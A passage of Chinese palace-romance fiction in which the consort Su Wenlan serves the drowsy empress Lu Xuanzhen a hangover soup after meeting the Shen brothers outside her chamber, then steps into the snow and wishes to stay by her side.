刚出门就看到站在外面的两人:“大哥?冒、苏文澜?”
沈锐面无表情,苏文澜脸色阴沉。
见沈统出来,两人皆是一言不发,只对视一眼,便很“和谐”地分开了。
苏文澜端着醒酒汤往里走,沈锐抓着沈统往外走。
走到半路,沈统才反应过来。
他脚下一停:“大哥,你们、你们什么时候来的?”
“有一会了。”沈锐道。
沈统一顿:“不是说好了今晚他不会回来了吗?”
沈锐嗤笑一声。
“回不回来有区别吗?不还是看你早早被陛下赶出来。”
“才不是你想的那样,陛下她说了……”
-
“陛下,醒酒汤来了。”
苏文澜坐到床榻边,低声道。
淡淡的雪松墨香让人格外心安,陆玄珍转过身,半眯着眼看他。
“怎么去了这么久?”
苏文澜垂眸:“路上遇到沈太医,耽搁了一会。”
他本以为会难以脱身,没想到那人竟没有过多纠缠。
“哦。”陆玄珍点点头,坐起身靠在枕头上。
苏文澜舀了一勺汤,温柔送过来。
陆玄珍偏偏头:“这么晚了表兄也还没休息吗?”
苏文澜手上动作一顿。
半晌才道:“沈太医是出来找沈侍卫的。”
“这样啊。”
陆玄珍闭了闭眼,回想着今夜所有人的表现,心下逐渐了然。
她张开嘴,一口一口喝掉醒酒汤。
苏文澜把碗勺放回桌上,还未来得及转身,就听到身后传来她声音。
“民学近来如何?”
他答:“一切都好。”
陆玄珍又问:“你身子近来调养的如何?”
“……基本好了。”
苏文澜并未参透她话中深意。
他向来自轻,只怕自己服侍的不好。
偌大的寝殿陷入寂静。
很快,床上传出一阵均匀的呼吸声。
苏文澜稍作犹豫,准本退下,行至门前,陆玄珍突然说话。
“过了年就快春天了。”
苏文澜脚下一顿,缓缓推门而出。
殿外大雪洋洋洒洒肆意飘下,他仰面看天,只有一片漆黑。
等春天来,雪就会停了。
他双手合十,闭眼向天虔诚许愿:“岁岁年年,长伴君侧。”
不负君恩。
君莫负他。